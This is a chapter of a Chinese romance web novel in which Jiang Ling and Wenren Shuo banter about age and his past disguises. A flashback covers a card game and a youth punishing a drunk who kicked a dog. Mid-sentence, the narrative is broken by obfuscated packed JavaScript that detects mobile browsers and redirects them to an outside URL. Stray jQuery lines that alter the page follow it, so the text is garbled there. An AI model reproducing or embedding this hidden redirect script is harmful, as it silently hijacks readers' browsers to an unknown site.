72. 第 72 章

作品:《饲犬之法

    闻人朔将手里的书收好,回头看她,认真道:“我比你还大两岁呢,妙真。”


    姜令懒洋洋道:“我比你大二十三岁。”


    闻人朔咋舌:“我娘也没有那么大岁数。妙真,不要开玩笑。”


    而且,怎么还有零有整的?听上去甚至是仔细思考的结果,跟真的一样。


    姜令心道:谁跟你开玩笑。


    但这个毕竟不好说明,她便转移话题:“你很在意那两岁?”


    闻人朔想了想,才说:“倒也没有……只是感觉,你不偏爱年纪小的男人。”


    姜令惊讶地看着他:她怎么不知道自己是年上派?


    她忍不住问:“何以见得?”


    “反正我是有根据的。”闻人朔哼了一声。


    姜令挠他:“卖关子的人最可恶!”


    闻人朔躲了两下,没能躲开,边忍笑边道:“别,我说!”


    姜令双手抱臂,下颌微抬:“说吧。”


    闻人朔忸怩道:“十八岁那年,回闻人府之前,我试过用不同的脸偶遇你。”


    他看了姜令一眼,继续往下说道,“但凡看起来稚嫩一点,你都不大有兴趣。”


    姜令一噎,想不通这是什么操作:“先不说你的结论,你易容接近我,是出于什么考虑?”


    他原本的这张脸,也不至于拖后腿吧?不过,他的眼睛头发确实异于中原人,打眼看过去,有点混血儿的感觉,也算可以理解吧。


    闻人朔理解她的未尽之言,脸上却写满难色,姜令心中“哦呵”一声,忽然随手抄起一旁的铜镜,端端正正地挡在自己脸前,闻人朔扒拉了一下她的手臂,偏头看她:“妙真,在做什么?”


    姜令避开他的手,依然举着镜子,一本正经地说:“为了让你体会我的感受,能将心比心,你以后就这么和我说话吧。足够身临其境吗?”


    闻人朔一直锲而不舍地扒拉那块铜镜,委屈道:“不可以这样,妙真,别这么对我……这样我不仅看不见你,还要一直面对自己说话。可我也没有易容成你的样子和你调情,你太过分了……”


    姜令闷闷地笑了两声,很快收敛,继续稳坐如山,不为所动。


    “我说还不行么……反正你也不记得了。”闻人朔泄气道,“当初离开元城,临行前,我和你告别,将母亲的遗物凤铃给你,你却说了特别过分的话。”


    姜令想了想:“我没有头绪。”


    “你说:你愿意做我的第二父母,还要我记得回元城孝敬你,为你养老送终。”闻人朔的语气甚至有点生无可恋,“如果不是婚事出了意外,我这辈子都不想再用这张脸面对你了。”


    其实将银铃铛送出去,他也没有想得到任何回应,毕竟他那时,除了一张还算不错的脸之外,什么都没有。他只是希望她能在某些时候想起他,不要忘记他。


    结果她说了那么一番话,闻人朔连信都不想再给她写了——她不会觉得这是来自准儿子的家书吧?一想到这个,他就完全没有心情写信。


    而她也从不写信来,他又难过又气愤,憋着一股劲,不肯主动联络。等他终于哄好自己,能做到忽略这件事的时候,再写信给她,她便已经不会回复了。他还为此伤心了很久。


    姜令差点被这惊人的事实震飞。她放下镜子,消化了好半晌,才缓缓开口:“我没有当人爸妈的爱好,”她有点艰难地说,“我很抱歉,那么说,可能只是……”


    “只是为了拒绝我。”闻人朔灰心地移开目光。


    真是造孽。姜令无言以对,只好为自己辩解一二:“这不能怪我吧。”


    毕竟那时候的闻人朔,对壳子里是个成年人的姜令来说,估计和一只小鸡崽没什么区别。而且她都不记得了,没道理为失忆前的自己说过的话负责。


    “那你现在亲亲我。”闻人朔把脸凑到她面前,眨了下眼睛,“我就把这件事忘掉。”


    姜令深深地叹息一口气,闻人朔就看起来有点不乐意了,姜令赶在他开口之前,道:“我好饿了。”


    就这么把话题揭过去了。等到二人和衣躺下,姜令靠在床头看书,闻人朔有一搭没一搭地吻她,像鸟啄一样。


    姜令不堪其扰,只好放下书,忍无可忍地捶了他一拳。她翻身坐起来,扯过一条被子蒙住他,像压寿司卷一样把人团成一长条,推到床里侧,好叫他不能乱动。


    闻人朔也不反抗,仰面躺着,喊她:“妙真,帮我拨一下头发。”


    姜令依言照做。见他这手脚受缚,行动不能的样子,又觉得好笑,没忍住顺手掐了下他的脸颊。闻人朔也笑,眼睛弯弯,唇角半个梨涡若隐若现。姜令低下头,开始慢吞吞地吻他。


    也许是因为躺着使不上劲,闻人朔少见的很乖顺,几乎没有试图反客为主,而是任她施为,一吻毕,姜令抬起头,动作轻柔地撩开他脸上的发丝,闻人朔以为她要准备入睡,依恋地蹭了蹭她的手。


    姜令却饶有兴趣地问:“你的观察实验,进展顺利么?”


    闻人朔反应片刻,才将她口中的“观察实验”对上号,他慢半拍道:“你那时候,不怎么出府。”


    原来不大顺利。姜令亲了一下他的唇角,又趴回原位,侧头看他:“为什么会选那张脸?”


    这也是她最好奇的一点。


    闻人朔从被子里出来,侧过身看她,低声说:“见面第一回之后,你便能认出我了。这很难得吧?所以才用那张脸的。”


    姜令眨了眨眼睛,突然唇角上扬,闻人朔不明就里,姜令实在受不了他这蠢相,偏过头去,笑得发起抖来,脸酸得要命,喉咙里被抽气般的笑声填满了。


    闻人朔往里侧爬了两步,趴伏着,低头凑近她的脸,面上全是迷茫。


    他的头发全掉姜令脸上了,搔得人痒。姜令推开他的头,抹了把脸,平复了一下心情,这才说:“才不是这个原因。我记得你的脸,是因为,第一次见到你的时候……”


    那是几年前的一个初夏。


    天朗气清,风和日丽的好日子,姜令拗不过长乐三番四次的催请,还是答应她的邀约,去画舫上打叶子牌。


    长乐非常迷恋这个,没有赌瘾,只是单纯爱好打牌。但她情况特殊:姜家人丁寥落,亲戚实在太少,叫些外人,抑或下人来组桌,他们又总谄媚,打不尽兴。


    姜令听了这话,问长乐:“你就不能自己找点朋友么?”


    “找得到还用得上你么?那些娘子们,打不了一会儿就说府里头有事,推说要走了,这怎么玩?更别提,有的人那技术,我都不想说。”


    长乐说,“哎呀,总之我跟段礼英和应思存说了,必须得来,你也给我到场,别叫我三缺一,否则我就去王府逮你了!”


    姜令到场的时候,应思存打着大哈欠,睡眼惺忪,臭着一张脸,段礼英一脸苦笑,显然也是被迫。二人露出受害者同盟般的惺惺相惜。


    打着牌,总得聊些话题。四人先交流了一点近况。


    段礼英说,最近家里人催得紧,总喊他去金吾卫任职,听他们那说法,怕是连职位都给他调好了。


    他装模作样地叹气道:“想来荫官也要上值,恐怕往后就不能如今日一般,与你们在外游荡咯。”


    应思存嘲道:“荫官而不应举,相比于所谓的‘流外官’,可能也不会很忙。别的不敢说,打牌的时间,应当还是有的。”


    国朝荫官而仕者,也即依靠族荫而入朝为官之人,被称为清流一派。清流,取自清流雅望之人一意,清流一派,可粗略等同于世家子。


    相对的,科举考试而入仕的寒门子弟,则被戏称为“流外官”。他们大多负责较为繁重的治理工作,只有在就任后的课考核查中取得佳绩,才有升任流内官的可能。


    段礼英啧了一声,摇头道:“你好像很不服气。但我这不是……不好舍弃我族的清流美名吗?”


    “当然啦,不应举,主要是因为爹也没有给我应举的选择啊。”


    段礼英满不在乎地说,“在他眼里,我会把所有事都搞砸。敢去武考,就敢给他丢脸丢到江北老家。我说要去应举,他起先还高兴呢,一说是武举,差点把我骂得狗血淋头。”


    姜令说:“私以为,令尊是怕你死了。”


    武考与科考不同,是会死人的。规则上来说,出了人命,杀人者当然要背负罪名,但总有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435960|197016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些人,道德感浅薄,暴虐而不知收敛。


    是以,武考比试中,受伤乃家常便饭,断胳膊断腿亦不罕见,死人也不算惊天动地的大闻。


    段礼英咂舌:“安平,说得不错,下次别说了。”


    长乐看向应思存,好奇地问:“那你呢,你要应举么?”


    应思存点头,矜持道:“如无意外。”


    姜令紧接着说:“胡了。”


    三个人同时看向她,姜令眨了眨眼,才发觉自己的话有歧义,便解释道:“我是说,我的牌和了。”


    长乐哀嚎一声,抱怨道:“我就差一张没摸到!”


    段礼英为这突如其来的接话,笑得乐不可支。应思存面无表情地搂住他的脖子,场面顿时混乱起来,差点升级为械斗。


    当晚结束牌会后,除了姜令,他们仨都露出意犹未尽的表情,长乐一怂恿,便话赶话地约好了下次牌会的时间。


    走出画舫,黄昏临近,大朵大朵的火烧云垂坠下来,鸭蛋黄般的圆日照彻天际,整条街道都披上了一层瑰丽的色彩。


    姜令见天色好极,自觉就这么回去,有点儿可惜,便决意沿着大路散散步,再回府吃饭。


    哪曾想,走到半途,忽然下起了雨,说大不大,说小不小的,兼有一点夜风。


    姜令寻摸着,要是赶回去,她自己肯定是不会淋湿半点,随行的侍从,却少不得要伤寒几个,便打算就近吃个便饭,待雨停再回府。


    正巧,这画舫离文华楼很近,姜令做主,大伙先去文华楼搓一顿,填饱肚子,再做打算。


    说是一伙人,但她仍单独坐一张八仙桌,稍点了几味菜,慢慢吃喝。兰生本想为她布菜,叫她赶去另一桌了。


    “用不上,正好我单独待会儿。”姜令说。


    一个人吃饭的最大好处就是安静。没人说话,自然也不用回答,姜令的心情很平和,神态也放松下来。


    小窗微支,偶尔从隙中透出几缕夜的沁凉,霏微细雨,月华如水,照亮一片湿润的清辉。


    姜令吃得差不多,便倚坐在窗边,出神地往外看去。为了挡去飘斜的雨丝,她拿来了一柄扇子,立在脸侧。


    忽然,冥冥夜色之中,从窗户正下方,传来一声凄厉的犬吠,紧接着,是一声粗狂的叫骂,似乎有意压低声音,但依稀可闻,有几分醉意。


    姜令微微皱眉,往下看去,只见一大腹便便的醉汉,抡着腿要踹身前那只狗。那狗浑身紧绷,不断发出低吼,以警示对方,醉汉却不以为然,甚至于笑嘻嘻地说:“狗日的……畜生,爷踢你,你还、不服气是吧?”


    他抬腿欲踹,不知怎的,却突然抻着腿,发出一声惨叫后,还像个陀螺似的转了一圈,五体抬地地倒下来,便不省人事了。


    一截锦缎长靴从窗户的右上角缓缓出现,漫不经心地从醉汉的手心踩过,走到狗的面前,在狗越发急促的低吼声中,来人一把将狗掐住,蹲下身来,姜令因此得以看清他的侧脸。


    面容秀丽,唇红齿白,长得倒是十分正直。


    他的声音听起来也非常年轻,清亮悦耳:“以牙还牙,以眼还眼,你怎么不懂呢?”


    少年指了指狗,转过身朝向醉汉,又指着醉汉的脑袋,自言自语道,“你现在可以报复回去了。踢吧。”


    那狗当然不能理解他的意思,后退几步,夹着尾巴跑走了。少年可惜地叹气,站起身来,“既然如此,我只好帮你一次了。”


    视野所限,姜令只能看到他的下半身,他在原地站了一会儿,忽然抬起脚,用力一踹,那醉汉整个飞到了巷子对面,砰一下,砸在墙上,发出一声痛吟,却没有因此醒来。


    姜令怀疑那醉汉已被砸晕了。她有些好奇,情不自禁地想顶高支窗,看清楚如今的场面。但她稍一动作,那少年便敏锐地侧了一下身体,似乎看了过来。


    姜令即用扇子挡住了自己的脸,少年静默片刻,忽然消失不见。姜令正想支高窗,好看清那醉汉的模样,面前的窗却忽然被放下了。


    “啪”的一声,她迷惑地推了一下窗户,想重新打开,却发现打不开了,知这是那少年体贴的警告,心下好笑,只好遗憾作罢。